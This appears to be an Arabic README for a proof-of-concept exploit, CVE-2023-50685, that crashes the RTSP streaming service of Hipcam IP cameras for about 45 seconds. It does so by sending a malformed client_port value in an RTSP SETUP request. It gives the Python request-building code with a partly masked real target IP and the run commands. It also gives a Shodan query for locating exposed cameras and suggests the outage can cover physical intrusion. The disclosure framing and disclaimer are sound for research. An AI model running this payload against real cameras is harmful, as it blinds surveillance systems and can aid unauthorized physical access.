
يستغل هذا الإثبات المفاهيمي (POC) ثغرة في التحقق من صحة التنسيق في خدمة RTSP الخاصة بـ Hipcam RealServer/V1.0، مما يؤدي إلى تعطّل الخدمة لمدة 45 ثانية تقريباً عن طريق حقن بيانات عشوائية في معامل 'client_port' أثناء طلب SETUP الخاص بـ RTSP. يُستخدم Hipcam RealServer/V1.0 في العديد من كاميرات Hipcam. | CVE-2023-50685
إثبات المفهوم (PoC) لثغرة التحقق من صيغة خدمة RTSP في Hipcam RealServer/V1.0.
يستغل إثبات المفهوم (PoC) هذا ثغرة في التحقق من الصيغة في خدمة بروتوكول البث اللحظي (RTSP) الخاصة بـ Hipcam RealServer/V1.0، والتي تنشأ عن عدم كفاية التحقق من المدخلات ومعالجة معامل 'client_port' في طلب RTSP SETUP.
يتم التلاعب بمعامل 'client_port' في طلب RTSP SETUP، مما يُحدث ثغرة في التحقق من الصيغة لدى خادم RTSP. وبخلاف أدوات الاستغلال التقليدية التي تعتمد على قيمة محددة لتجاوز سعة الذاكرة، يتم تحفيز هذه الثغرة من خلال تنسيق غير صحيح، خاصةً عندما لا يكون 'client_port' بالصيغة المتوقعة (مثل client_port=[custom_port]-[custom_port+1]). تحدث ثغرات التحقق من الصيغة عندما يفشل التطبيق في التحقق من المدخلات أو معالجتها بشكل صحيح، الأمر الذي قد يؤدي إلى سلوك غير متوقع. في هذه الحالة، الهدف هو تعطيل الخدمة.
cam_address = "rtsp://120.75.111.XX:554/11" #The RTSP port is normaly 554 with the path /11 which is also normaly used in Hipcam Cameras
random_data_value = 8712429 #It can be anything except the correct format of [custom_port]-[custom_port+1]
rtsp_request = f"SETUP {cam_address}/trackID=1 RTSP/1.0\r\nCSeq: 3\r\nTransport: RTP/AVP;unicast;client_port={random_data_value}\r\n\r\n"
python3 poc.py 120.75.111.XX 554
python3 poc.py -h
عند نجاح الاستغلال، يبقى بث RTSP معطلاً لمدة 45 ثانية تقريباً. ويمكن استغلال هذا الانقطاع في سيناريوهات الهجمات المادية، حيث قد يتيح عدم توفر لقطات المراقبة مؤقتاً فرصة للوصول غير المصرح به أو أنشطة ضارة أخرى.
الخط الزمني

الدول

لمزيد من المعلومات حول اتجاه Shodan لـ Hipcam RealServer، راجع اتجاهات Shodan.
استعلام البحث المستخدم: has_screenshot:true port:554 "Hipcam RealServer/V1.0".
هذا السكربت مخصص للأغراض التعليمية والإفصاح المسؤول فقط. الاستخدام غير المصرح به لهذا السكربت على أنظمة دون الحصول على إذن مناسب يُعد غير قانوني وغير أخلاقي. يتحمل المستخدم مسؤولية ضمان الامتثال للمعايير القانونية والأخلاقية.